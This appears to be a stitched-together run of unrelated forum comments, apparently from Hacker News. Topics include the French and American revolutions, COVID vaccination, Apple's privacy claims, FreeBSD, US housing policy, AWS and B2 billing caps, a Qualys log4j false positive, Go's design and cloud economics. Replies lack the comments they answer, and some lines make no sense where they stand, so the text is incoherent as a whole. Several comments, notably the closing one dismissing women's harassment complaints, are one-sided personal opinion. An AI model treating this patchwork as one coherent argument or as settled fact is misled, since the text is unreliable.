That clearly doesn't apply to every argument.

There are lots of times when "society" was wrong, and regular people could see that, and also aught change it.

Yes, sometimes society makes makes mistakes, or, even worse, does things for fully understandable, but bad reasons.

Man, I know you don't care because you said "But If you don't have a serious pain point around testing and you want to miss the best option out there. It's fine by me." but you attitude in this thread totally turned me off and makes me feel like you might not be around that long if you don't have the humility to take feedback/respect others and I don't want to bet my company on it. i.e. you say "save your valuable time" but you at the same time say if you don't care enough to use your time to sign up to see the pricing then we don't want you.

You changed it, I know.

You totally could go on to be a huge company and that's great, but just not the people I want to associate with.
This may be techically correct, but I suspect it fails to take into account that political affiliation is the new religion in the US.
I live in the U.S., so the basic rights I take for granted were already in place before the French Revolution. They are the result of the American Revolution, and before that the English one a century earlier. (And before that a long history of England and Britain gradually transferring power from the monarch to Parliament, going all the way back to the Magna Carta.) While neither of those revolutions were bloodless, they were a lot less bloody than the French Revolution, not to mention a lot more stable once they were done. Britain's unwritten constitution has not changed all that much since 1688 (the monarchy has continued to lose power, but it had already lost most of it by then); The U.S. Constitution is still in place; France since its revolution has had a reign of terror, an emperor, another monarchy, another revolution, and five republics.

So if I were to pick a revolution or revolutions that set the pattern for guaranteeing basic rights, it would be the English and American ones, not the French one.

> Except "Everybody goes inside and stops spreading" is not something that is unique to a variant of concern.

But it is — this will not be the response to a variant that doesn’t cause an increase in hospitalizations or deaths.

A given response exerts pressure on all variants, of course. But a milder variant may be able to spread widely before a more lethal one shows up and ratchets up lockdowns.

> Do you believe that covid continues because of excuses or weak wills or something psychological?

I believe COVID19 continues because we have a ~60% vaccination rate in the USA, which is far below the needed vaccination rate to slow down the spread of the disease.

A lot of these other diseases brought up have substantial 95%+ vaccination rates, or treatments that can hamper the spread.

No disease is equivalent to another. Smallpox and Measles had much higher spread R0 / replication rates. Others are bacterial. Cholera is water-borne and solved with other methodologies.

I don't disagree with any of that and, for what it's worth, speaking for myself, is completely self-evident.

My original point (such as it is) is only to note that no debate is one-sided and that if we are setting a high standard of discussion in the Hacker News guidelines, it should be respectful of all, not just the views of the article being linked to. If we are obligated to acknowledge the strongest parts of the complaint, then it seems fair to obligate equal acknowledgement of the strongest parts of any response/rebuttal/defence.

> you can choose whether it is stored or not

You choose to tell them to store it or not. Due to third party doctrine you have very little legal protection for material you voluntarily provide to a third party. Even if apple behaves honestly and has no vulnerabilities or compromises they may be forced to hand the data over.

And the fact that you don't know this says to me that Apple is in practice unethically exaggerating the level of privacy they're able to provide.
> Absolutely not hurting myself. I love Linux. :D I don't think I'll ever switch back. I actually understand how every aspect of my machine works, and this feeling of control is absolutely addictive.

This is exactly the reason for the feeling of empowerment I got when I moved to FreeBSD/KDE after Mac. I didn't realise just how closed down macOS had gotten over time. This was the number one reason for my move but the extent of it still surprised me. Everything I want differently now is just easy, documented and usually even has a GUI button ready for the clicking. Whereas in macOS it's just "this is how it works, get used to it" now.

Apple is working so hard to lock the underpinnings of the OS down now and even if you can still change things to work your way you have to jump through so many hoops it becomes really annoying. And as well as that whatever option you used to get there is bound to get changed or removed without notice.

I just realized I'm not happy just going along with other people's choices. I hate 'going with the flow'. I recognise any the specific annoyances you mentioned in your post higher up in the thread.
The French Revolution inspired the Russian one, which created the Soviet Union; and the Russian revolution inspired the Chinese one, which created Communist China. Those in turn inspired further Communist revolutions in various countries, the most salient being Cambodia with the Khmer Rouge. Those Communist regimes were responsible for more than a hundred million deaths in the 20th century.

Eh, I think this is a pretty complicated thing really.

Part of the problem I think is that American-style land-use policies create a very bipolar concept of density. Everything has to be either SFH or high rises and the middle gets squeezed out. Both of these I think favour big developers: either big enough to buy large tracts of land to build houses on or big enough to afford the capitally intensive process of building large scale buildings. Other parts of the world seem to be less keen on both kinds of housing and also often manage to have healthier cities by most metrics.

Also, broad home ownership as a kind of free market mechanism for wealth transfer has been a big push, but I think the results are pretty mixed in practice. It worked for a while, particularly while family incomes were growing thanks to the workforce growing post-WWII, but it's also likely that it contributed to creating a new kind of wealthy elite that has become protective of itself, and that manifests particularly badly in California where property tax law is... comically absurd?

I dunno. Leftism existed before there was literally any hope of "everyone owning a home." Landlords are also deeply problematic from a left or progressive perspective, but I don't think that means the answer is the opposite.

Also, in practice, it doesn't really seem like developers are that keen on building "thousands of units". They seem much happier to build hundreds of really expensive ones. But it's hard to tell what they'd do without modern zoning laws.

> Until haptic touchpads become available outside of MacBooks, touchpads are always going to suck under Windows and Linux.

Incorrect - though I'm sympathetic. The ideal touchpad is a click-less touchpad with physical left / right buttons on the bottom left and right of the touchpad. No need for a physical hinge that requires the full weight of your arm to click, like an old Macbook. No need to push down on the touchpad at all and go to the expense of getting haptic feedback either. Just provide buttons!

(I do agree though, that so long as manufacturers are not going to provide physical buttons, haptic feedback would be a significant improvement.)

> How much aeronautics/airworthiness/safety R/D is actually conducted by the FAA?

Virtually none. It's widely recognized that airine mfg. technology is a rapidly moving target, and the FAA is not in the airline mfg. business.

The FAA is in the business of collecting and reviewing certification data, which is why the fake MCAS paperwork is a really big deal.

> We then had a large string of revolutions in Eastern Europe, in the late 80s/early 90s

And the most salient fact about all of those is that they were hardly even revolutions. The Soviet Union stopped supporting its puppet governments in those countries, and the people of those countries, who had been more than ready to quit Soviet rule for quite some time, just did it. No fighting was necessary because practically nobody in those countries wanted Soviet rule anyway. This has been true for few if any other revolutions in history.
> If a total shutdown when aggregate monthly budget is triggered is insufficient

I never said that. In fact, that's what I'd prefer. I don't use AWS for anything critical, only for testing, so I'm fine with my account getting temporarily disabled or all requests returning error codes.

> Please share, I'd like to know what you use.

B2. B2 has a 10GB free tier for object storage and returns an error code if that limit is exceeded without a credit card on file. They have limits (called Caps), like AWS, but B2 apparently automatically sets their limits low, because when I checked, my limits are $1, $5, $1, $1. Pretty sure I never set these. They will email or text when limits are exceeded by 70% and 100%. As far as I can tell, they don't have a hard limit (return error codes) once a credit card is on file like they do with no credit card on file, but I think that would be a good thing to add.

python2 -> python3 was just a handful of things like that.
Yup. The issue of course is that there are many false positives for ‘why’ that can also result in it being thrown away to great suffered - and many folks who frankly don’t have the time to spend.

Best one can do is where it clearly gets in the way of doing what YOU need to do, try to tear it down, but with one look over your shoulder to see if anyone is coming to get you for doing it.

If they do, they at least feel a need to keep it, even if nonsensical to you.

If no one does, then apparently no one remembers or cares enough to keep it there, so entropy wins and put it goes.

Might be a mistake, but might not be - and at least your problem will be easier to solve, which you concretely know and can experience, which is something.

I had to deal with the opposite problem this week. My company uses Qualys for our vulnerability management stuff and after our security guys ran their scans throughout the network over the weekend we had a bunch of false positives. Seems that they were alerting on log4j-api in addition to log4j-core (only log4j-core is impacted per Apache). Looks like Qualys fixed it on Monday though so this shouldn't be a problem going forward if anyone else uses them.

> This is kind-of what happened to "SARS-1" - it tended to kill its hosts before they could pass it on.

Quick nit: while this is true, SARS-1 was also not particularly transmissible before symptoms appeared, in contrast to Covid, which made control much easier (in addition to the much higher fatality rate causing everyone to take it much more seriously).

I agree, and I think this mistake is at the root of most of what are (at least to my biased point of view) the big mistakes made by go.
Syntactical niceties and simplicity / obviousness are sometimes a tradeoff, but go 1.0 felt like the designers just folded their arms and refused to consider any niceness.
I still don't understand why anyone would use go when there are so many better choices, but at least they're fixing some stuff now :)
Structured logging is great, but it's vital to keep them structured all the way through. Having an API where you pass a string and then something on the other side tries to parse that string back into structured data is a recipe for disaster.

I bet in the 1920s, people were questioning whether or not businesses should generate their own electricity on site or whether to go with the new-fangled "cloud" solution.

The question for businesses comes down to economics, of capital expenditure vs operating expenditure. If I buy my own hardware, I have to spend capital and depreciate it as part of the operating expenses. If I lease hardware (whether on prem or cloud), then that's pure operating expense.

There are accounting and tax implications. There's also the "stick to your knitting" of a business. Do I need my own payroll service, or do I outsource it. Do I need my own accounting, or do I outsource it. Do I need my own cleaning service...

Do you really think SF is lacking in social services? I think the problem is people don’t really want them and can’t be forced to use them so it’s just a waste of resources. Every year millions more are dumped into social programs and the problem has only gotten worse.

SF has shown the road to hell is paved in good intentions. I moved out of SF because there were constantly tweakers camping in my garage area and cops took hours to respond and they didn’t even do anything, drug users just came back repeatedly after cops left.

It may be an unpopular view, but I don't believe we should attach ANY MERIT AT ALL to, as you said "women FELT" harassed. The only yard stick should be actual concrete actions of harassment, and those should be dealt with strongly and profesionally.

In this article she complains about guys prospecting for dating opportunities at company social events. Depending on the exact nature of such, it is likely poor form, but is it really sexual harassment?

Or her complaint that "men stare at women working".... what are women like royalty you have to stair at the ground lest you accidentally "stare"?

You cannot and should not punish anyone for using their goddamned eyes to look at anything in their surroundings anymore than you can or should punish thought crimes.

If it is really obnoxious staring, the mature thing is to confront it and make it clear. Beyond that I don't have a solution against people being assholes. I mean if a woman is bitchy to me in a way that doesn't cross the line of breaking company policy, there is nothing much I can do except manage the situation.

BUT: as soon as any real line has been crossed, consequences should get real.

But this woman has so many complaints that seem marginal, mixed with complaints that are very serious like inappropriate touching, that I think she probably burned her credibility.

I mean, if the same person kept coming in to HR with very marginal complains, someone looked at me and I didn't like it, someone asked if I would like to for lunxh and I said no and then nothing further happened... this stuff seriously dilutes and detracts from actual sexual misconduct.
